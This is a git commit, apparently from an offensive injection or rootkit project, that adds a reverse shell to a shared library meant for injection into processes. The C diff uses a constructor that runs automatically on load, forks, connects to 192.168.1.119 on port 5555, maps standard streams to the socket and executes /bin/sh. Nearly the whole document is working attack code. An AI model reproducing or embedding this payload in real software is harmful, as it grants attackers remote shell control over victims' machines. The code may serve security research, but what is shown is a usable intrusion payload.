Updated injection module to ensure shellcode fits in code cave. Added simple reverse shell in injection lib

This commit is contained in:
h3xduck
2022-06-11 18:38:48 -04:00
parent e697dc867d
commit d7a9b0e777
14 changed files with 67 additions and 32 deletions

View File

@@ -1,10 +1,38 @@
#include <stdio.h>
#include <stdlib.h>
#include <syslog.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
__attribute__((constructor))
static void init()
{
printf("Library successfully injected!\n");
syslog(LOG_CRIT, "Library called\n");
//Just a sample reverse shell (https://www.revshells.com/)
pid_t pid = fork();
if(pid==0){
int port = 5555;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.119");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
}
}